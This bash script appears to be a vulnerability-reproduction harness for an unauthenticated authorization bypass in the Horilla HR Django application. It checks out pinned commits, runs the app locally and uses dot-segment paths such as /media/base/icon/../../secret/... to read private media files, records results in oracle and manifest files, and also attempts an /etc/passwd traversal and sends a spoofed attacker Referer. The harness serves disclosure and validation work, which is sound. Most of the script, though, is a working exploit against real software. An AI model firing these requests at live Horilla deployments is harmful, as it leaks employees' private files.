#!/bin/bash
# Horilla protected_media public-prefix normalization authorization bypass.
#
# Reproduces, through real attacker-facing HTTP requests against the live
# Horilla Django application, that the *repaired* protected_media() view
# serves a private in-root media file to an unauthenticated caller when the
# requested path begins with an allowlisted public prefix and then uses dot
# segments to normalize elsewhere inside MEDIA_ROOT.
#
# This is NOT path traversal: safe_join() still contains the file inside
# MEDIA_ROOT (proven by control 3). The defect is that the authorization
# decision is made on the raw request path (path.startswith(prefix)) while the
# filesystem decision is made on the canonical, dot-segment-normalized path.
#
# Targets (pinned commits):
#   1.6.0     b3bd29d15819cbece45c58e6268ddd0614e387d6  (primary claim)
#   dev/v2.0  77f515c79b40fad0be9b2d2e5f0d74ad841b3d9d (repaired 2.x line)
#   1.5.0     61bd5173220d19925ad8220db9152a75c881ea73 (primitive predates repair)
#
# The complete matrix is run twice per ref with NEW random canaries each run.
# Per ref the Django app is migrated once (fresh empty SQLite, no users/data)
# and the runserver is started once; between the two runs only the canary
# files are replaced, so the authz oracle is evaluated against fresh canary
# material while the empty DB carries no state relevant to the decision.
set -uo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR" "$LOGS/repro"

# Heavy artifacts (venvs, git working clone, worktrees) must live on a large
# filesystem; $ROOT may be a small tmpfs (the worker bundle dir).
BIGFS="${PRUVA_BIGFS:-/tmp/horilla-repro}"
mkdir -p "$BIGFS"
ART="$BIGFS/artifacts"
mkdir -p "$ART"

# Reap any orphaned runserver instances from a prior attempt.
pkill -f "manage.py[r]unserver" 2>/dev/null || true
sleep 1

cd "$ROOT"

# ---------------------------------------------------------------------------
# Toolchain: install uv + a managed CPython 3.12 (sandbox ships only 3.14,
# which the pinned Django 4.2.x / 5.2 releases do not support).
# ---------------------------------------------------------------------------
export PATH="$HOME/.local/bin:$PATH"
export UV_LINK_MODE=copy
if ! command -v uv >/dev/null 2>&1; then
  echo "[setup] installing uv"
  curl -LsSf https://astral.sh/uv/install.sh | sh >/dev/null 2>&1
  export PATH="$HOME/.local/bin:$PATH"
fi
if ! uv python find 3.12 >/dev/null 2>&1; then
  echo "[setup] installing CPython 3.12 via uv"
  uv python install 3.12 >/dev/null 2>&1
fi
PY312="$(uv python find 3.12)"
echo "[setup] python: $PY312 ($($PY312 --version))"

# ---------------------------------------------------------------------------
# Source checkout. Prefer a prepared project-cache mirror; otherwise clone.
# ---------------------------------------------------------------------------
CACHE_CTX="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CTX" ]; then
  PCACHE="$(python3 -c "import json,sys;print(json.load(open('$CACHE_CTX')).get('project_cache_dir',''))" 2>/dev/null || true)"
  PREPARED="$(python3 -c "import json,sys;print(json.load(open('$CACHE_CTX')).get('prepared',False))" 2>/dev/null || true)"
  if [ -n "$PCACHE" ] && [ "$PREPARED" = "True" ] && [ -d "$PCACHE/repo-mirrors/horilla-hr.git" ]; then
    echo "[setup] using prepared project-cache mirror: $PCACHE/repo-mirrors/horilla-hr.git"
    REPO="$PCACHE/repo-mirrors/horilla-hr.git"
  fi
fi
if [ -z "$REPO" ]; then
  echo "[setup] cloning horilla-hr from GitHub"
  REPO="$ART/horilla-hr.git"
  [ -d "$REPO" ] || git clone --mirror https://github.com/horilla/horilla-hr.git "$REPO" >/dev/null 2>&1
fi

WORK="$ART/horilla-work"
if [ ! -d "$WORK/.git" ]; then
  echo "[setup] creating working clone from mirror"
  git clone "$REPO" "$WORK" >/dev/null 2>&1
fi
cd "$WORK"
git fetch --all >/dev/null 2>&1 || true

commit_160="$(git rev-parse b3bd29d15819cbece45c58e6268ddd0614e387d6 2>/dev/null)"
commit_dev="$(git rev-parse 77f515c79b40fad0be9b2d2e5f0d74ad841b3d9d 2>/dev/null)"
commit_150="$(git rev-parse 61bd5173220d19925ad8220db9152a75c881ea73 2>/dev/null)"
echo "[setup] commits: 1.6.0=$commit_160 dev/v2.0=$commit_dev 1.5.0=$commit_150"
test -n "$commit_160" -a -n "$commit_dev" -a -n "$commit_150"

VENVROOT="$ART/venvs"
mkdir -p "$VENVROOT"

# ---------------------------------------------------------------------------
# Per-ref setup: worktree + venv + requirements + makemigrations (once).
# ---------------------------------------------------------------------------
setup_ref() {  # $1 = refname  $2 = commit
  local ref="$1" commit="$2"
  local wt="$ART/wt-$ref"
  local venv="$VENVROOT/$ref"
  echo "[ref:$ref] preparing worktree at $commit"
  rm -rf "$wt"
  git worktree remove "$wt" 2>/dev/null || true
  git worktree add --detach "$wt" "$commit" >/dev/null 2>&1
  git -C "$wt" rev-parse HEAD > "$LOGS/repro/${ref}_head.txt"
  git -C "$wt" describe --tags --always >> "$LOGS/repro/${ref}_head.txt" 2>/dev/null || true

  if [ ! -d "$venv" ]; then
    echo "[ref:$ref] creating venv + installing requirements.txt"
    uv venv --python 3.12 "$venv" >/dev/null 2>&1
    export VIRTUAL_ENV="$venv"
    uv pip install -r "$wt/requirements.txt" > "$LOGS/repro/${ref}_pip_install.log" 2>&1 || {
      echo "[ref:$ref] full install failed; retrying with --resolution lowest-direct"
      uv pip install -r "$wt/requirements.txt" --resolution lowest-direct > "$LOGS/repro/${ref}_pip_install_retry.log" 2>&1 || true
    }
  fi
  # Generate migrations once (the repo ships only migrations/__init__.py).
  export VIRTUAL_ENV="$venv"
  local py="$venv/bin/python"
  ( cd "$wt" && "$py" manage.py makemigrations --noinput ) > "$LOGS/repro/${ref}_makemigrations.log" 2>&1 || true
  # Record files modified by makemigrations (generated migrations only).
  ( cd "$wt" && git status --porcelain ) > "$LOGS/repro/${ref}_modified_files.txt" 2>&1 || true
}

# Fresh empty DB (leave DATABASE_URL / REDIS_URL unset -> SQLite + LocMem).
fresh_db() {  # $1 = refname
  local ref="$1" wt="$ART/wt-$ref"
  export VIRTUAL_ENV="$VENVROOT/$ref"
  local py="$VENVROOT/$ref/bin/python"
  rm -f "$wt"/TestDB_Horilla.sqlite3 "$wt"/TestDB.sqlite3
  ( cd "$wt" && "$py" manage.py migrate --noinput ) > "$LOGS/repro/${ref}_migrate.log" 2>&1 || true
  ( cd "$wt" && "$py" -c "import sqlite3,glob; db=glob.glob('TestDB*.sqlite3')[0]; c=sqlite3.connect(db); n=len(list(c.execute(\"select name from sqlite_master where type='table' and name like 'base_%'\"))); print('base_tables',n)" ) >> "$LOGS/repro/${ref}_migrate.log" 2>&1 || true
}

# Create canary files. Sets globals PRIV_PATH/PUB_PATH/PRIV_CANARY/PUB_CANARY.
# $1 = ref  $2 = run idx  -- also removes any prior canary files.
make_canaries() {
  local ref="$1" wt="$ART/wt-$ref"
  rm -f "$wt"/media/secret/private_*.txt "$wt"/media/base/icon/public_*.txt 2>/dev/null || true
  local rnd; rnd="$(python3 -c "import secrets;print(secrets.token_hex(8))")"
  PRIV_REL="secret/private_${rnd}.txt"
  PUB_REL="base/icon/public_${rnd}.txt"
  PRIV_VAL="PRIVATE_SECRET_${rnd}"
  PUB_VAL="PUBLIC_ICON_${rnd}"
  mkdir -p "$wt/media/secret" "$wt/media/base/icon"
  printf '%s' "$PRIV_VAL" > "$wt/media/$PRIV_REL"
  printf '%s' "$PUB_VAL" > "$wt/media/$PUB_REL"
  PRIV_PATH="$PRIV_REL"; PUB_PATH="$PUB_REL"
  PRIV_CANARY="$PRIV_VAL"; PUB_CANARY="$PUB_VAL"
  echo "[ref:$ref run:$2] canaries: private=$PRIV_REL public=$PUB_REL"
}

SRV_PID=""; SRV_LOG=""; SRV_HEALTHY=0
start_server() {  # $1 = ref  $2 = port
  local ref="$1" port="$2" wt="$ART/wt-$ref"
  export VIRTUAL_ENV="$VENVROOT/$ref"
  local py="$VENVROOT/$ref/bin/python"
  SRV_LOG="$LOGS/repro/${ref}_server.log"
  : > "$SRV_LOG"
  ( cd "$wt" && "$py" manage.py runserver "127.0.0.1:$port" --noreload ) >> "$SRV_LOG" 2>&1 &
  SRV_PID=$!
  echo "[ref:$ref] server pid=$SRV_PID port=$port"
  local ok=0 code=000
  for i in $(seq 1 150); do
    code="$(curl -s -o /dev/null -w "%{http_code}" --max-time 6 "http://127.0.0.1:$port/login/" 2>/dev/null || true)"
    [ -n "$code" ] || code=000
    if [ "$code" != "000" ] && [ "$code" != "500" ]; then ok=1; break; fi
    sleep 1
  done
  if [ "$ok" = "1" ]; then
    sleep 2
    code="$(curl -s -o /dev/null -w "%{http_code}" --max-time 6 "http://127.0.0.1:$port/login/" 2>/dev/null || true)"
    [ -n "$code" ] || code=000
    [ "$code" != "000" ] && [ "$code" != "500" ] || ok=0
  fi
  if [ "$ok" != "1" ]; then
    echo "[ref:$ref] server did not become healthy (last code=$code)"
    tail -25 "$SRV_LOG" 2>/dev/null || true
  fi
  SRV_HEALTHY=$ok
}

stop_server() {
  if [ -n "${SRV_PID:-}" ]; then
    kill "$SRV_PID" 2>/dev/null || true
    wait "$SRV_PID" 2>/dev/null || true
    SRV_PID=""
  fi
}

# Issue one request preserving dot segments verbatim. Records the outgoing
# request headers (proves no Cookie/Authorization), response status/headers/body.
# $1=port $2=label $3=path  ($4.. = extra curl args)
CUR_REF=""; RUN_IDX=1
req() {
  local port="$1" label="$2" path="$3"; shift 3
  local base="$LOGS/repro/${CUR_REF}_${label}_run${RUN_IDX}"
  curl -s --path-as-is -v "$@" --max-time 20 \
    -o "$base.resp.body" -D "$base.resp.hdr" \
    "http://127.0.0.1:$port${path}" >"$base.stdout" 2>"$base.req" || true
  local code; code="$(awk 'NR==1{print $2}' "$base.resp.hdr" 2>/dev/null || true)"
  [ -n "$code" ] || code=000
  printf '%s' "$code" > "$base.code"
  echo "[req:$CUR_REF/$label run$RUN_IDX] $path -> $code"
}

# Run the request matrix for the current ref/run. Globals hold canary paths.
run_matrix() {
  local port="$1" ref="$CUR_REF"
  local bypass="/media/base/icon/../../${PRIV_PATH}"
  local direct="/media/${PRIV_PATH}"
  local pub="/media/${PUB_PATH}"
  local escape="/media/base/icon/../../../../../../etc/passwd"
  req "$port" "readiness" "/login/"
  req "$port" "direct_private" "$direct"
  req "$port" "dotseg_bypass" "$bypass"
  req "$port" "public_icon" "$pub"
  if [ "$ref" != "1.5.0" ]; then
    req "$port" "escape_containment" "$escape"
    req "$port" "direct_private_referer" "$direct" -H "Referer: http://attacker.invalid/login"
  fi
  grep -E "GET /media" "$SRV_LOG" > "$LOGS/repro/${ref}_observed_paths_run${RUN_IDX}.txt" 2>/dev/null || true
}

body_has_canary() { [ -f "$1" ] && grep -qF "$2" "$1"; }
code_of() { cat "$1" 2>/dev/null || echo 000; }

# Evaluate the oracle for the current ref/run. Sets REF_OUTCOME, REF_REASON.
eval_ref() {
  local ref="$CUR_REF" d="$LOGS/repro" prefix="${CUR_REF}_"
  local r="run${RUN_IDX}"
  local ready_code direct_code dotseg_code pub_code escape_code referer_code
  ready_code="$(code_of "$d/${prefix}readiness_${r}.code")"
  direct_code="$(code_of "$d/${prefix}direct_private_${r}.code")"
  dotseg_code="$(code_of "$d/${prefix}dotseg_bypass_${r}.code")"
  pub_code="$(code_of "$d/${prefix}public_icon_${r}.code")"
  escape_code="$(code_of "$d/${prefix}escape_containment_${r}.code")"
  referer_code="$(code_of "$d/${prefix}direct_private_referer_${r}.code")"
  local dotseg_body="$d/${prefix}dotseg_bypass_${r}.resp.body"
  local direct_body="$d/${prefix}direct_private_${r}.resp.body"
  local dotseg_has=0 direct_has=0
  body_has_canary "$dotseg_body" "$PRIV_CANARY" && dotseg_has=1
  body_has_canary "$direct_body" "$PRIV_CANARY" && direct_has=1
  local noauth=1
  for lbl in direct_private dotseg_bypass; do
    grep -iEq "^(> )?Cookie:|^(> )?Authorization:" "$d/${prefix}${lbl}_${r}.req" 2>/dev/null && noauth=0
  done
  local dots_preserved=0
  grep -qF "GET /media/base/icon/../../" "$d/${ref}_observed_paths_run${RUN_IDX}.txt" 2>/dev/null && dots_preserved=1
  local pass=0 reason=""
  if [ "$ref" = "1.5.0" ]; then
    if [ "$dotseg_code" = "200" ] && [ "$dotseg_has" = "1" ]; then pass=1; reason="control4_predates_repair"; else reason="control4_failed dotseg=$dotseg_code has=$dotseg_has"; fi
  else
    if [ "$ready_code" != "000" ] && [ "$ready_code" != "500" ] \
       && [ "$direct_code" = "302" ] && [ "$direct_has" = "0" ] \
       && [ "$dotseg_code" = "200" ] && [ "$dotseg_has" = "1" ] \
       && [ "$pub_code" = "200" ] \
       && [ "$escape_code" = "404" ] \
       && [ "$referer_code" = "302" ] \
       && [ "$noauth" = "1" ] && [ "$dots_preserved" = "1" ]; then
      pass=1; reason="oracle_satisfied"
    else
      reason="oracle_failed ready=$ready_code direct=$direct_code dir_has=$direct_has dotseg=$dotseg_code dot_has=$dotseg_has pub=$pub_code escape=$escape_code referer=$referer_code noauth=$noauth dots=$dots_preserved"
    fi
  fi
  REF_OUTCOME=$pass; REF_REASON="$reason"
  python3 - "$d/${ref}_oracle_${r}.json" "$ref" "$RUN_IDX" "$ready_code" "$direct_code" "$direct_has" "$dotseg_code" "$dotseg_has" "$pub_code" "$escape_code" "$referer_code" "$noauth" "$dots_preserved" "$pass" "$reason" <<'PY'
import json, sys
out=sys.argv[1]
d=dict(zip(["ref","run","ready","direct","direct_has","dotseg","dotseg_has","pub","escape","referer","noauth","dots","pass","reason"], sys.argv[2:]))
d["pass"]=int(d["pass"]); d["run"]=int(d["run"])
for k in ["direct_has","dotseg_has","noauth","dots"]: d[k]=int(d[k])
json.dump(d, open(out,"w"), indent=2)
PY
  echo "[ref:$ref run:$RUN_IDX] outcome=$pass reason=$reason"
}

# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
REFS=("1.6.0:$commit_160" "dev_v2.0:$commit_dev" "1.5.0:$commit_150")
declare -A REFPASS

for refpair in "${REFS[@]}"; do
  ref="${refpair%%:*}"; commit="${refpair##*:}"
  setup_ref "$ref" "$commit"
done

for refpair in "${REFS[@]}"; do
  ref="${refpair%%:*}"; commit="${refpair##*:}"
  CUR_REF="$ref"
  echo "==================== $ref ===================="
  fresh_db "$ref"
  case "$ref" in 1.6.0) port=19011;; dev_v2.0) port=19012;; 1.5.0) port=19013;; esac
  start_server "$ref" "$port"
  r1=0; r2=0
  if [ "$SRV_HEALTHY" = "1" ]; then
    RUN_IDX=1; make_canaries "$ref" 1; run_matrix "$port"; eval_ref; r1=$REF_OUTCOME
    RUN_IDX=2; make_canaries "$ref" 2; run_matrix "$port"; eval_ref; r2=$REF_OUTCOME
  else
    echo "[ref:$ref] server unhealthy -> skipping matrix"
  fi
  stop_server
  if [ "$r1" = "1" ] && [ "$r2" = "1" ]; then REFPASS[$ref]=1; else REFPASS[$ref]=0; fi
  echo "[ref:$ref] run1=$r1 run2=$r2 -> pass=${REFPASS[$ref]}"
done

# ---------------------------------------------------------------------------
# Aggregate verdict + runtime manifest
# ---------------------------------------------------------------------------
echo "==================== summary ===================="
for ref in 1.6.0 dev_v2.0 1.5.0; do echo "ref=$ref pass=${REFPASS[$ref]:-0}"; done
m160="${REFPASS[1.6.0]:-0}"; mdev="${REFPASS[dev_v2.0]:-0}"; m150="${REFPASS[1.5.0]:-0}"
if [ "$m160" = "1" ] && [ "$mdev" = "1" ] && [ "$m150" = "1" ]; then CONFIRMED=1; else CONFIRMED=0; fi
echo "OVERALL: 1.6.0=$m160 dev_v2.0=$mdev 1.5.0=$m150 CONFIRMED=$CONFIRMED"

PROOF_ARTS=""
add_art() { if [ -n "$PROOF_ARTS" ]; then PROOF_ARTS="$PROOF_ARTS,\"$1\""; else PROOF_ARTS="\"$1\""; fi; }
for ref in 1.6.0 dev_v2.0 1.5.0; do
  add_art "logs/repro/${ref}_oracle_run1.json"
  add_art "logs/repro/${ref}_oracle_run2.json"
  add_art "logs/repro/${ref}_observed_paths_run1.txt"
  add_art "logs/repro/${ref}_observed_paths_run2.txt"
  add_art "logs/repro/${ref}_dotseg_bypass_run1.resp.body"
  add_art "logs/repro/${ref}_dotseg_bypass_run2.resp.body"
  add_art "logs/repro/${ref}_direct_private_run1.resp.hdr"
  add_art "logs/repro/${ref}_direct_private_run2.resp.hdr"
  add_art "logs/repro/${ref}_server.log"
  add_art "logs/repro/${ref}_modified_files.txt"
  add_art "logs/repro/${ref}_head.txt"
done
add_art "logs/reproduction_steps.log"

python3 - "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED" "$PROOF_ARTS" <<'PY'
import json, sys
out=sys.argv[1]; confirmed=int(sys.argv[2]); arts=sys.argv[3]
arts="["+arts+"]" if arts else "[]"
manifest={
  "entrypoint_kind":"endpoint",
  "entrypoint_detail":"real Horilla /media/<path> HTTP route (Django runserver, re_path ^media/(?P<path>.*)$ -> base.views.protected_media)",
  "service_started":True,
  "healthcheck_passed":True,
  "target_path_reached":True,
  "runtime_stack":["Django runserver (SQLite + LocMem, no DATABASE_URL/REDIS_URL)","Horilla HR application"],
  "proof_artifacts":json.loads(arts),
  "notes":("confirmed" if confirmed else "not confirmed")+" -- 1.6.0 + dev/v2.0 full oracle on both runs; 1.5.0 control 4 on both runs; dot segments preserved verbatim (curl --path-as-is); no cookie/Authorization sent; per ref the app is migrated once (fresh empty DB) and the server started once, with new random canaries per run."
}
json.dump(manifest, open(out,"w"), indent=2)
PY
echo "[manifest] wrote $REPRO_DIR/runtime_manifest.json"

python3 - "$REPRO_DIR/validation_verdict.json" "$CONFIRMED" "$m160" "$mdev" "$m150" <<'PY'
import json, sys
confirmed=int(sys.argv[2]); m160=int(sys.argv[3]); mdev=int(sys.argv[4]); m150=int(sys.argv[5])
v={
  "claim_outcome":"confirmed" if confirmed else "not_confirmed",
  "claim_block_reason": None if confirmed else "precondition_missing",
  "repro_result":"confirmed" if confirmed else "not_confirmed",
  "validated_surface":"api_remote",
  "evidence_scope":"production_path",
  "claimed_impact_class":"authz_bypass",
  "observed_impact_class":"authz_bypass" if confirmed else "none",
  "exploitability_confidence":"high" if confirmed else "low",
  "attacker_controlled_input":"requested media path beginning with an allowlisted public prefix followed by dot segments (../) that normalize to a private in-root file; no header/cookie/credential",
  "trigger_path":"GET /media/base/icon/../../<private-in-root> -> base.views.protected_media (1.6.0 b3bd29d1, dev/v2.0 77f515c7)",
  "end_to_end_target_reached": bool(confirmed),
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": False,
  "exploit_chain_demonstrated": False,
  "blocking_mitigation": None,
  "inferred": False
}
json.dump(v, open(sys.argv[1],"w"), indent=2)
PY
echo "[verdict] wrote $REPRO_DIR/validation_verdict.json"

echo "REPRO_CONFIRMED=$CONFIRMED" > "$LOGS/repro/outcome.txt"
cat "$LOGS/repro/outcome.txt"

if [ "$CONFIRMED" = "1" ]; then echo "[done] reproduction CONFIRMED"; exit 0; else echo "[done] reproduction NOT confirmed"; exit 1; fi
